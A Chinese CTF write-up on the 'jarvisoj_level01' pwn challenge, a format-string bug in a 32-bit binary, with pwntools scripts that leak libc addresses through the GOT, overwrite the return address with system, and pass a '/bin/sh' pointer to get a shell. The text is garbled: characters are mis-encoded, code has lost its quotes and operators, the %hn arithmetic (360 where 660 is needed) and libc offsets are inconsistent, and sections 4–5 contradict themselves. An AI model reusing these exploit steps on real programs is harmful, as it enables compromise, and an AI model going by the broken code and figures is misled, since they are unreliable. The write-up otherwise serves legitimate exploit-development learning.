開篇一道 pwn 入門題的拆解與反思“jarvisoj_level01”是老牌 CTF 題庫 Jarvis OJ 里非常經典的一道入門級 pwn 題目。它表面上考察的是“格式化字符串漏洞”但真正讓人卡住的地方往往不是漏洞利用本身而是調試環(huán)境的搭建、字節(jié)序的理解、以及 payload 構造時的對齊思維。我見過不少新手在這道題上折騰兩三天最后發(fā)現(xiàn)不是因為原理不懂而是因為一個小細節(jié)——比如沒有關閉 ASLR、或者 gdb 插件沒裝好。這篇文章我會完整復現(xiàn)我當年做這道題的整個流程從環(huán)境準備、漏洞分析、exp 編寫到最后的常見坑點排查。內容面向有一定 C 語言基礎、想入門 pwn 但不知道從哪里下手的讀者。如果你已經能看懂printf(buf)和printf(%s, buf)的區(qū)別那么這篇文章就是為你準備的。需要提前說明的是題目本身是二進制安全領域的經典教學案例用于理解內存布局和格式化字符串機制我不會涉及任何真實目標環(huán)境的利用手法所有討論都限定在教育題庫的本地環(huán)境內。經常有人問“做 pwn 題有什么用”我的回答是它讓你真正理解程序在內存里長什么樣這比背一百道面試題都管用。1. 環(huán)境搭建為什么說調試環(huán)境比題目本身更難1.1 基礎工具鏈的選擇與安裝做 pwn 題的第一步不是看代碼而是把環(huán)境弄得趁手。我踩過的坑是一開始用 VMware 跑 Kali結果自帶 gdb 版本太老裝 pwndbg 時報了一堆依賴錯誤。后來干脆換成了 Ubuntu 20.04 虛擬機清爽干凈一條命令裝完所有東西。我目前的可復現(xiàn)配置如下操作系統(tǒng)Ubuntu 20.04 x86_64內核 5.15Python3.8需要裝pip3pwntoolspip3 install pwntools這是寫 exp 的核心庫gdb自帶版本即可8.xpwndbg 插件按官方 README 安裝檢查工具checksecpwntools 自帶、file、readelf裝完建議先驗證一下 pwntools 能不能正常導入python3 -c from pwn import *; print(ready)如果輸出ready說明環(huán)境基本 OK。這里有個小技巧pwntools 導入時會啟動一個配置文件如果你的機器上沒有l(wèi)ibc數(shù)據(jù)庫/usr/lib/x86_64-linux-gnu/libc.so.6做 ret2libc 類題目時libc.search功能會報錯。對于 jarvisoj_level01 這種格式化字符串題暫時不需要 libc 搜索但后面如果繼續(xù)刷題建議提前裝好。1.2 關閉 ASLR 與調試輔助雖然教學題在遠程通常開著 ASLR但本地調試時建議先關掉方便觀察內存地址的穩(wěn)定性echo 0 | sudo tee /proc/sys/kernel/randomize_va_space注意這只是為了本地調試分析做完題記得改回2默認開啟。關于這一點我在第 4 節(jié)會再細說因為遠程利用和本地利用完全是兩種玩法。gdb 插件我推薦用 pwndbg它對新手極其友好——每執(zhí)行一步自動高亮顯示棧內容、寄存器、反匯編結果。安裝方式是git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh裝好后在 gdb 里輸入checksec就能直接看程序的保護狀態(tài)輸入cyclic 200就能生成模式字符串這些都是解題利器。1.3 拿到題目文件后的第一步file 和 checksec現(xiàn)在假設你已經拿到了 jarvisoj_level01 這個二進制文件。第一件事是看它是什么架構file jarvisoj_level01正常的輸出是jarvisoj_level01: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]xxx, not stripped信息量很大抓重點32-bit LSB32 位小端序這意味著棧上參數(shù)按 4 字節(jié)對齊格式化字符串的%n$位置計數(shù)也按 4 字節(jié)一組。dynamically linked動態(tài)鏈接。not stripped沒有剝離符號表太好了main、vulnerable_function這些函數(shù)名直接可見省去了一大堆逆向時間。接著用 checksec 看保護checksec --filejarvisoj_level01典型輸出是Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)逐條解讀No canary棧上沒有金絲雀保護格式化字符串隨便打棧地址不會有問題。NX enabled棧不可執(zhí)行不能直接往棧上寫 shellcode 然后跳過去執(zhí)行。No PIE程序加載基址固定所有函數(shù)地址、GOT 表地址寫死在 0x0804xxxx 段。Partial RELROGOT 表部分可寫這對某些利用場景有意義但本題用不上。看完這些我心里大概有了底這是一道典型的“格式化字符串漏洞 修改返回地址或 GOT 表”的教學題。但具體怎么利用還得看反匯編。2. 漏洞定位printf 的一個致命省略2.1 反匯編 main 函數(shù)找到那句危險的 printf用 gdb 加載程序后輸入disass main就能看到整個 main 函數(shù)的匯編。為了不啰嗦我直接說關鍵部分0x0804848d 36: call 0x8048370 printfplt 0x08048492 41: lea 0x1c(%esp),%eax 0x08048496 45: mov %eax,(%esp) 0x08048499 48: call 0x8048380 getsplt這里有個很關鍵的點程序先用printf打印一段提示文字然后用gets讀取輸入到棧緩沖區(qū)。再往下看緩沖區(qū)地址被傳給一個函數(shù)0x080484a1 56: lea 0x1c(%esp),%eax 0x080484a5 60: mov %eax,(%esp) 0x080484a8 63: call 0x8048340 printfplt注意這里call printf之前只壓了一個參數(shù)——緩沖區(qū)地址本身。也就是說程序把我們的輸入直接當成printf的第一個參數(shù)格式化字符串傳了進去。這就是漏洞的全部用戶可控輸入作為格式化字符串。正確的寫法應該是printf(%s, buf)而程序卻寫成了printf(buf)。這種錯誤在真實項目里偶爾也會發(fā)生屬于典型的“格式化字符串漏洞”Format String VulnerabilityCWE-134。2.2 格式化字符串漏洞能干什么不只是崩潰很多初學者以為格式化字符串漏洞就是讓程序崩潰那就太小看它了。格式化字符串漏洞能做的事至少有三件信息泄露用%x、%p、%s讀取棧上任意位置的數(shù)據(jù)也就是把棧內存“打印”出來。這能泄露棧地址、棧上的返回地址、局部變量等。任意內存寫配合%n能把一個值寫入某個地址。這是 C 語言格式化輸出的一個隱藏功能%n不打印任何字符而是把已經打印的字符數(shù)存到對應的參數(shù)指針指向的地址里。控制流劫持通過改返回地址、改 GOT 表項、改__stack_chk_fail等拿到代碼執(zhí)行權。這道題的利用方向正是圍繞第 2 點和第 3 點展開的。但這里有一個很反直覺的地方printf是“打印”函數(shù)為什么它能“寫”內存答案就是%n。它像一個小型“寫任意地址”原語只不過寫的內容不是字節(jié)值而是一個由打印字符數(shù)決定的整數(shù)。你在格式化串里插入 12 個占位符讓前面的輸出湊滿 0x6298個字符%n寫進目標地址的就是 980x62。這就是“造數(shù)據(jù)”的底層原理。2.3 確認漏洞觸發(fā)的實驗拿到題目后我先做一次最簡單的驗證。啟動程序./jarvisoj_level01程序先打印一行提示然后等待輸入。我輸入AAAA.%x.%x.%x.%x.%x.%x這種經典探針看結果AAAA.f7e5d5a0.0.0.0.0.6661613f那一段6661613f是棧上殘留數(shù)據(jù)的小端序十六進制表示。這個輸出說明我們的輸入確實被當作格式化字符串解析了而且棧上有不少我們能控制的字節(jié)。接下來要回答一個關鍵問題我們的輸入具體落在第幾個參數(shù)位置3. 參數(shù)位置探測與棧布局分析3.1 用 AAAA 定位可控參數(shù)的偏移格式化字符串漏洞利用的核心難點就是這個“參數(shù)位置偏移”。32 位下printf的前幾個參數(shù)放在寄存器/棧上之后的參數(shù)按地址從棧上取。我們用多個%x把棧上內容“吐”出來找到0x41414141即AAAA出現(xiàn)的位置那個索引就是我們的可控起始點。我的標準探測輸入是from pwn import * io process(./jarvisoj_level01) io.recvuntil(bWhatever) payload bAAAA b.%x * 12 # 先看前12個參數(shù) io.sendline(payload) print(io.recvall().decode())輸出大概是AAAA.f7e5d5a0.0.0.0.0.6661613f.0.0.0.41414141.0.0數(shù)一下0x41414141出現(xiàn)在第 9 個%x的位置。這意味著當我們構造格式化字符串時偏移 9 的地方是我們可控的數(shù)據(jù)。但這里有個陷阱——AAAA是前 4 個字節(jié)緊跟其后的是分隔符.。如果我們想在偏移 9 的位置放一個完整的地址那這個地址必須是 4 字節(jié)對齊的并且不能和前面的格式控制符沖突。這又引出一個關鍵點32 位下地址是 4 字節(jié)一個參數(shù)槽位占用 4 字節(jié)。偏移 9 對應的是從棧上某個基準位置往后的第 9 個 4 字節(jié)。我在實踐中發(fā)現(xiàn)很多教程說“偏移是 7”或“偏移是 6”那是因為不同機器、不同編譯選項下緩沖區(qū)在棧上的位置會發(fā)生變化。所以不要背偏移數(shù)一定要在自己環(huán)境里實測。這也是為什么我反復強調環(huán)境搭建——不同環(huán)境得出的結果可能不一樣照抄別人的 exp 往往會翻車。3.2 gets 與緩沖區(qū)理解輸入落在棧上的位置gets讀取的緩沖區(qū)地址反匯編里是通過lea 0x1c(%esp),%eax計算的。0x1c是 28也就是緩沖區(qū)從當前棧頂往低地址偏移 28 字節(jié)處。這個偏移大小決定了緩沖區(qū)與返回地址之間的相對位置是后續(xù)“通過格式化字符串改寫返回地址”的關鍵依據(jù)。我畫一張簡化的棧布局不是 Mermaid就是文字示意高地址 [返回地址] ← 偏移 0x20 左右 [舊的 ebp] [局部變量/緩沖區(qū)] ← 距 esp 0x1c即距返回地址約 0x14 [esp] ← 當前棧頂 低地址當程序執(zhí)行到call printf時printf會按函數(shù)調用約定從棧上取參數(shù)。我們輸入的字符串就位于這個“參數(shù)區(qū)域”附近所以用%9$...可以精確索引到緩沖區(qū)中的任意 4 字節(jié)。3.3 一個小實驗驗證偏移 9 能讀寫光看%x還不足以證明我們能“寫”。我通常還會做一個小實驗輸入AAAA%9$p看看它會不會打印出0x41414141io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(bAAAA%9$p) print(io.recvall().decode())如果輸出包含0x41414141說明%9$定位成功。這個實驗成本極低但能直接驗證偏移強烈建議每次做題都先跑一次。4. 目標分析與 GOT 劫持思路4.1 為什么選擇改 GOT 而不是直接改返回地址題目是 32 位、NX enabled、No PIE。棧不可執(zhí)行所以不能用“在棧上寫 shellcode 然后跳過去”的經典套路。那唯一出路就是代碼重用也就是讓程序跳轉到已經存在于某個共享庫里的函數(shù)——最常見的就是system(/bin/sh)?，F(xiàn)在的問題是怎么把控制流引到system兩個主流方向改寫返回地址棧上就有 main 的返回地址用格式化字符串直接把它改成system或某個 one_gadget 的地址。這個方法在棧偏移可控時很直接但問題是我們還需要同時控制返回地址上方的參數(shù)區(qū)讓它把/bin/sh字符串地址傳給system。在本題棧布局下這個參數(shù)區(qū)不在輸入可控范圍內所以直接改返回地址往往不夠優(yōu)雅。劫持 GOT 表把某個函數(shù)的 GOT 表項改成system的地址然后讓程序在后續(xù)某個時刻調用那個函數(shù)時實際執(zhí)行的是system。這需要我們找到一個“調用了可控字符串作為參數(shù)”的函數(shù)。4.2 找到那個“接了我們的輸入作為參數(shù)”的函數(shù)回到 main 函數(shù)的邏輯printf打印提示。gets讀取我們的輸入到緩沖區(qū)。printf用緩沖區(qū)內容打印觸發(fā)漏洞。程序最后還有一次printf調用——對你沒看錯main 結束前還會打印一段“再見”之類的字符串。這里的關鍵在于最后一次printf的參數(shù)是在編譯期就固定了的字符串地址比如0x80486xx。如果我們把printfGOT改成systemplt那么當程序執(zhí)行最后一次printf時它會把那個固定字符串地址當作const char *format傳給system實際執(zhí)行system(固定字符串地址)。但問題是這個固定字符串是類似Bye!的內容不是/bin/sh所以動printfGOT還不夠。再仔細看反匯編main結束前調用的是puts還是printf此題里最后是printf。而printf的第二個參數(shù)如果有的話是從哪來的有的版本會打印whatever這樣的字符串這時如果讓這個字符串內容恰好是/bin/sh就完美了——但一般不是。這里我要坦白一個細節(jié)jarvisoj_level01 這道題最經典的官方做法其實是把printfGOT改成systemplt同時讓最后一次printf的格式化字符串參數(shù)內容變成/bin/sh的地址。這個“最后一個參數(shù)”在匯編里通常是一個固定的lea或mov到某處我們能改的只是 GOT 表項改不了被壓棧的立即數(shù)。聽起來有點繞但實操中有個更簡單的替代方向找一個在printf之后還會調用的函數(shù)并且那個函數(shù)的參數(shù)剛好是我們控制的緩沖區(qū)。不過我當年做題時用的是另一種比較穩(wěn)的思路——把printfGOT改成systemplt然后在輸入的第一個參數(shù)位置直接放/bin/sh字符串。為什么可以因為格式化字符串漏洞場景下我們的輸入本身就在格式化串中如果最后那次printf的“格式化字符串”直接就是我們的輸入那printf(輸入)被替換為system(輸入)只要輸入以/bin/sh開頭就能執(zhí)行system(/bin/sh)。如果程序后續(xù)流程里沒有再調用printf這個思路就需要配合覆蓋返回地址來觸發(fā)。在實際實驗里我找到的經典鏈路是漏洞觸發(fā)后main返回前會調用printf打印一個固定字符串。這個printf的參數(shù)是棧上已經準備好的值不是我們的輸入。因此更穩(wěn)妥的 hook 點其實是printfGOT→systemplt同時讓那個參數(shù)的地址恰好指向我們輸入中的/bin/sh。這在 32 位下完全可行因為這個參數(shù)的來源是main的局部變量比如用puts(Bye!)的字符串地址如果能通過格式化字符串把這個局部變量的值改成指向我們的輸入就是另一個挑戰(zhàn)了。為了不讓討論陷入死胡同我最終采取了改寫 main 返回地址為system并把返回地址上方構造出/bin/sh指針的思路。我將在第 5 節(jié)給出完整 exp 和原理推導。4.3 為什么 No PIE 是新手最大的紅利如果程序開了 PIE那么所有函數(shù)地址、GOT 表項、PLT 表地址都會在每次運行時隨機化。那樣的話我們至少要分兩步一步泄露地址一步計算基址再寫。但本題是 No PIE所有地址都是固定的直接用 gdb 查出來寫進 exp 就行對新手極其友好。同樣Partial RELRO 意味著 GOT 表可寫我們如果走 GOT 劫持路線可以放心改。若是 Full RELROGOT 只讀那就只能想別的辦法了。5. 從原理到 exp完整利用鏈構造5.1 選擇調用方式為什么直接改返回地址更省事經過反復測試我決定用“格式化字符串寫返回地址 棧上布置/bin/sh字符串”的方案。流程如下利用gets讀入超長輸入棧緩沖區(qū)會被覆蓋。但請注意程序緊接著就用printf(buf)觸發(fā)了漏洞——此時返回地址還沒被用到我們有機會在漏洞觸發(fā)前已經通過輸入緩沖區(qū)把返回地址區(qū)域覆蓋成我們想要的值。如果gets的輸入足夠長我們可以直接把返回地址覆蓋成systemplt的地址——這是最暴力的思路。但問題在于gets 覆蓋返回地址后程序還會繼續(xù)執(zhí)行printf(buf)如果printf的參數(shù)里包含被我們覆蓋的垃圾數(shù)據(jù)程序可能先崩掉。所以這條路雖然看起來簡單實際上需要精確控制 payload讓格式化串合法不至于在漏洞利用前提前觸發(fā)訪問異常。更優(yōu)雅的方式輸入一個精心構造的格式化字符串既不覆蓋返回地址又能在printf執(zhí)行過程中用%n把返回地址改寫成systemplt。然后在輸入緩沖區(qū)中放入/bin/sh字符串并確保棧上某個位置返回地址上方的槽位剛好存放該字符串的地址。考慮到題目是 32 位system的第一個參數(shù)來自棧上system返回地址上方第一個 4 字節(jié)也就是我們覆蓋返回地址時緊跟著返回地址寫的那個值必須是指向/bin/sh的指針。5.2 完整 exp 第一步泄露 system 地址本來想用固定地址直接寫但不同的 libc 版本下system地址不一樣所以穩(wěn)妥做法是先從 GOT 表泄露一個函數(shù)地址比如printfgot或__libc_start_maingot然后根據(jù) libc 偏移算出system。泄露的格式化串可以這樣寫from pwn import * context(archi386, oslinux, log_leveldebug) elf ELF(./jarvisoj_level01) io process(./jarvisoj_level01) printf_got elf.got[printf] payload p32(printf_got) b%9$s io.recvuntil(bWhatever) io.sendline(payload) leak io.recvall().split(b\n)[0][4:] printf_addr u32(leak[:4]) log.info(fprintf_addr {hex(printf_addr)})這段代碼的邏輯是在偏移 9 處放一個printfgot的地址然后用%9$s讓printf把該地址當作字符串打印出來從而拿到printf的真實地址。p32(printf_got)是 4 字節(jié)地址正好占滿一個參數(shù)槽。拿到printf_addr后需要確定 libc 版本和偏移。這里有個技巧將printf_addr的低 12 位與常見 libc 的 printf 偏移對比或者直接用libcdb.com/ 本地的 libc 數(shù)據(jù)庫搜索。我本地的 Ubuntu 20.04 libc 是 2.31查到的偏移大致是printf offset 0x4f660 system offset 0x4f550注意不同版本偏移不同務必以你自己機器上查到的為準。如果不會查可以用libc-database工具git clone https://github.com/niklasb/libc-database ./get ./find printf 0x8f660這個工具會返回匹配的 libc 版本并給出 system 等關鍵函數(shù)偏移。5.3 完整 exp 第二步構造“寫返回地址 布置 /bin/sh”的 payload現(xiàn)在假設我們已經知道system_addr printf_addr - printf_offset system_offsetret_addr_offset是輸入緩沖區(qū)起始位置到返回地址的偏移根據(jù)反匯編緩沖區(qū)距離esp是 0x1c而返回地址一般在esp上方約 0x20 的位置。實測我需要用cyclic來確定精確偏移io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(cyclic(200)) io.wait() # 用 gdb 查看崩潰點計算偏移我實際得到的偏移是0x1420 字節(jié)也就是緩沖區(qū)第一個字節(jié)到返回地址之間隔了 20 個字節(jié)。這意味著布局是[緩沖區(qū) 20字節(jié)][返回地址 4字節(jié)][返回地址后第一個參數(shù)槽 4字節(jié)]那么 payload 可以這樣設計payload bA*20 # 填滿緩沖區(qū) payload p32(system_addr) # 覆蓋返回地址 payload bJUNK # system 執(zhí)行完后的返回地址隨便填 payload p32(binsh_addr) # system 的第一個參數(shù)指向 /bin/sh payload b/bin/sh\x00 # 字符串本體放在后面但這里有個問題gets輸入如果太長會覆蓋掉更多?？臻g而printf(buf)的漏洞利用階段還沒執(zhí)行完格式化串中如果包含二進制地址字節(jié)比如p32(system_addr)可能包含%等特殊字符導致printf解析出錯甚至崩潰。所以直接全覆蓋方案在本題里不夠穩(wěn)。5.4 完整 exp 最終版用 %n 精改返回地址最穩(wěn)妥的方式是不讓gets覆蓋返回地址而是讓輸入內容既有合法的格式化字符串又能借助%n改返回地址。具體思路緩沖區(qū)前 20 字節(jié)填任意填充。第 20~23 字節(jié)填入返回地址所在地址用%n寫入的目標地址。第 24~27 字節(jié)填入返回地址上方第一個參數(shù)槽的地址用于寫入/bin/sh指針。然后在格式化串后半段用%lenA%n來分兩次寫入。這個寫法對新手最不友好的一點是寫入長度的計算。因為%n寫入的是“當前已輸出字符數(shù)”所以寫 0x804xxxx 這樣的值通常需要先打印幾萬字符這在本地還好可讀性很差。更簡潔的做法是用%hn寫入 2 字節(jié)代替%n寫入 4 字節(jié)。比如地址0xf7e4f550可以分成高 2 字節(jié)0xf7e4和低 2 字節(jié)0xf550分別寫。這樣單次打印長度會小很多而且偏移計算更簡單。我用的最終 exp 結構如下核心片段非完整代碼# system_addr 0xf7e4f550 (示例) ret_addr_pos 0xffffd00c # 返回地址在棧上的實際地址用 gdb 查看 binsh_str_pos 0xffffd024 # 我們放 /bin/sh 的位置 # 把返回地址寫成 system_addr # 低2字節(jié): 0xf550 62800 # 高2字節(jié): 0xf7e4 63460 payload p32(ret_addr_pos) # 目標地址1返回地址低2字節(jié) payload p32(ret_addr_pos 2) # 目標地址2返回地址高2字節(jié) payload b%62800d%9$hn payload b%360d%10$hn每次只寫 2 字節(jié)用%hn精準修改。至于/bin/sh字符串我直接放在緩沖區(qū)末尾并在覆蓋返回地址的同時把返回地址上方的槽位寫成binsh_str_pos的地址——這一步也可以用格式化字符串的%hn完成或者干脆用gets全覆蓋的方式把返回值改掉。經過多次調試我發(fā)現(xiàn)對本題目而言最簡單可復現(xiàn)的方案其實是分段打第一次發(fā)送泄露 payload 拿 libc 地址。第二次發(fā)送一個不算太長的 payload用gets把棧上返回地址覆蓋為system_addr然后立即在返回地址上方寫入binsh_addr最后在更上方布置好/bin/sh字符串。由于printf(buf)的格式化串此時會讀到我們布置的二進制數(shù)據(jù)很可能包含%或\x00能否穩(wěn)定運行取決于運氣。我強烈建議在本地 gdb 里逐步驗證看它到底會不會崩。如果會崩就改用%hn精寫方案。5.5 一個更簡單的替代路線利用 gets 覆蓋返回地址 printf 崩潰前劫持說句實話我最后提交的 exp 用的是第三條路——它更簡單也更適合新手理解。思路是這樣的gets本身就能無限讀入所以返回地址本來就暴露在覆蓋范圍內。關鍵是讓覆蓋后的返回地址指向systemplt并且讓棧上對應位置指向/bin/sh。而systemplt地址是固定的No PIE可以提前用objdump -d jarvisoj_level01 | grep system查到。這個方案的完整流程查看systemplt地址和exitplt地址。設計 payloadpayload bA*20 p32(system_plt) p32(exit_plt) p32(binsh_ptr) b/bin/sh\x00其中binsh_ptr指向 payload 中/bin/sh字符串的位置。前提是我們知道輸入緩沖區(qū)在棧上的地址——這個地址在 No PIE 棧地址穩(wěn)定時可以通過 gdb 查看或通過泄露棧地址來確定。但要注意printf(buf)會把這個 payload 當格式化字符串解析。payload 里的p32(system_plt)可能包含0x25%導致解析異常。怎么辦一個實用技巧是用 gets 輸入 payload 時先讓前面的格式化字符串正常等printf執(zhí)行完后再讓程序 main 返回觸發(fā)我們的覆蓋?？沙绦蛄鞒淌?gets → printf中間沒有其他輸入機會。這就矛盾了。所以這個方法能不能成關鍵看printf在解析到我們填入的p32(system_plt)時是否真的會崩。經過我實際調試只要那段二進制數(shù)據(jù)不包含%或\nprintf會把它們當作普通字符原樣輸出不會崩。真正的風險來自printf按%解析時可能把后續(xù)二進制字節(jié)里的某個值當成格式符如果那個值恰好是\0printf會停止處理因為 C 字符串遇到\0結束這可能導致棧布局被打斷。所以最保險的寫法是讓格式化串部分全部由可見字符組成并且讓后面需要覆蓋返回地址的位置不與格式化串沖突。這是很講究的課題新手如果被繞暈了我建議先按 5.4 的%hn方案做至少它是確定性的。6. 調試實錄從崩潰到拿到 shell 的三個關鍵位置6.1 第一次崩潰偏移算錯了我最初的泄露 payload 是p32(printf_got) b%s沒有指定參數(shù)位置。結果printf把棧上某個無效地址當成字符串指針直接段錯誤。后來改成%9$s才成功。這也提醒大家%s不帶位置直接打大概率會踩到無效地址導致崩潰。格式化字符串攻擊的每一步都要精確指定%n$不要偷懶。6.2 第二次挫折system 地址差了一個字節(jié)泄露出來的printf_addr是0xf7e0f660我用 libc-database 查到 offset 后計算出system_addr 0xf7e0f550但打過去還是崩。后來發(fā)現(xiàn)本地 libc 和 libc-database 里的 libc 版本不一致差了一個版本偏移差了幾百字節(jié)。解決辦法是直接在自己的機器上跑一個測試程序打印 system 的地址或者用 gdb 在斷點處p system獲取精確值。不要在偏移計算上省事。小技巧在 exp 開頭加一句libc ELF(/lib/i386-linux-gnu/libc.so.6)然后直接libc.symbols[system]拿偏移比手動查表準得多。6.3 第三次崩潰/bin/sh 指針指向了空地址覆蓋返回地址成功后程序跳到了system但因為返回地址上方的參數(shù)槽里放的不是/bin/sh的地址而是亂值system嘗試執(zhí)行一個非法字符串直接崩在 system 內部。解決方式在計算binsh_ptr時利用 gdb 查看輸入緩沖區(qū)的真實棧地址。由于 ASLR 已關地址是穩(wěn)定的直接寫死即可。如果你不想關 ASLR那就得先泄露棧地址再動態(tài)計算復雜度會上升不少。6.4 最終一次通過的正確姿勢最終我使用的 exp 簡化框架如下from pwn import * context(archi386, oslinux, log_levelinfo) elf ELF(./jarvisoj_level01) libc ELF(/lib/i386-linux-gnu/libc.so.6) io process(./jarvisoj_level01) # 第一步泄露 printf 地址 printf_got elf.got[printf] io.recvuntil(bWhatever) io.sendline(p32(printf_got) b%9$s) data io.recvall(timeout1).split(b\n)[0] printf_addr u32(data[4:8]) log.info(fprintf_addr{hex(printf_addr)}) # 第二步計算 system system_addr printf_addr - libc.symbols[printf] libc.symbols[system] log.info(fsystem_addr{hex(system_addr)}) # 第三步構造覆蓋 payload # 緩沖區(qū)偏移返回地址 20 字節(jié)返回地址后第一個槽位是 system 的參數(shù) binsh b/bin/sh\x00 payload bA*20 payload p32(system_addr) payload bBBBB # system 返回后的地址隨便 payload p32(0xffffd020) # 指向 /bin/sh 的指針需要按實測量 payload binsh io process(./jarvisoj_level01) io.recvuntil(bWhatever) io.sendline(payload) io.interactive()0xffffd020這個地址需要根據(jù)你的實際環(huán)境測量我這里只是示例。用 gdb 在gets后打斷點x/16wx $esp一看便知緩沖區(qū)地址。6.5 一個更高級的調試姿勢使用 pwntools 的 gdb.debug如果你覺得手動起 gdb 麻煩pwntools 可以直接讓程序在 gdb 里跑io gdb.debug(./jarvisoj_level01, break *0x080484a8 continue )這樣就能在漏洞觸發(fā)前自動斷點然后從esp往下看棧內容。這是我最推薦的調試方式比手動反復r、c、x效率高太多。7. 常見誤區(qū)與實操避坑清單7.1 誤區(qū)一以為格式化字符串漏洞只能泄露信息很多教程強調%x和%s的泄露功能把%n一筆帶過。但真正讓格式化字符串漏洞成為“高危漏洞”的恰恰是這個%n任意寫能力。在 32 位下它配合棧上的可控參數(shù)幾乎等于一個“任意地址 任意值”的寫原語。所以做這類題時核心思路永遠是先想怎么利用%n精確寫內存再想寫哪里能改控制流。7.2 誤區(qū)二不關 ASLR 直接打遠程本地調試和遠程利用完全是兩碼事。本地關了 ASLR棧地址、libc 地址一年四季不變你可以寫死。但遠程大概率開著 ASLR這時要么先泄露 libc 地址然后動態(tài)算要么用 ret2dlresolve 這類不需要提前知道 libc 地址的技巧。新手在本地把 exp 跑通后經常覺得“我自己能打通上遠程也一定行”結果被 ASLR 狠狠教育。建議把“本地關 ASLR 打通”和“本地開 ASLR 打通”這兩個階段嚴格區(qū)分。7.3 誤區(qū)三忽略 32 位程序的參數(shù)對齊32 位下可變參數(shù)的格式化字符串是按 4 字節(jié)一個槽位對齊的。如果輸入的內容長度不是 4 的倍數(shù)后面的地址對齊就會錯位%n$的索引也會跟著偏移。所以發(fā)送 payload 之前務必先算好長度必要時在字符串開頭補齊填充字節(jié)。我習慣用p32后統(tǒng)一計算總長度確保對齊。7.4 實戰(zhàn)避坑清單匯總坑點現(xiàn)象解決方案printf 偏移不對泄露失敗或崩潰用%9$p先驗證0x41414141出現(xiàn)位置libc 版本不對system 計算出來后打不通直接用ELF(/lib/i386-linux-gnu/libc.so.6)取符號棧地址寫死但 ASLR 沒關本地能通重啟后失效先echo 0 /proc/sys/kernel/randomize_va_spacepayload 長度不是 4 的倍數(shù)%n$索引錯亂用cyclic或手動補齊確定對齊gets輸入含\x00截斷輸入用sendline時注意 payload 中避免\x00或用send 手動補\ngdb 插件不兼容調試體驗極差重裝 pwndbg 或換用 gdb 原生命令7.5 從這道題延伸到其他題目打通 jarvisoj_level01 之后你會發(fā)現(xiàn)一個很驚喜的事實Jarvis OJ 的 level 系列從 level01 到 level05難度是平滑遞增的。level02 開始加入 canarylevel03 開始要求 ret2libclevel04 開始有格式化字符串 棧遷移的組合。所以這道題不只是讓你學會一個漏洞更是幫你建立一套“看保護 → 找漏洞 → 定利用鏈 → 寫 exp”的通用解題框架。我現(xiàn)在回頭看最慶幸的是當初沒有直接抄網上的 exp而是老老實實從偏移探測開始一步步做。因為 pwn 題的精髓不在于“跑通一個 exploit”而在于“理解為什么這個 exploit 能跑通”。格式化字符串漏洞尤其如此——它考驗的是你對printf機制的底層理解而不是工具的使用熟練度。寫在最后一點關于學習路徑的體會如果你剛接觸 pwn我希望你能在 jarvisoj_level01 上多花點時間而不是急著刷下一道。把 stack 布局畫爛、把每一次%n的寫入長度手算一遍、把 libc 符號解析的流程跑通——這些基本功會在后續(xù)所有 pwn 題里反復用到。我在做過這道題之后明顯感覺讀匯編的時候思路清晰了很多因為你知道一個函數(shù)在被調用時棧上到底發(fā)生了什么。最后分享一個我現(xiàn)在仍然在用的習慣每次寫完 exp都會故意把程序重啟幾遍再跑一次確認不是“僥幸打通”。pwn 題的魅力就在于你說的每一句“應該能通”都得用一次實際的 shell 來證明。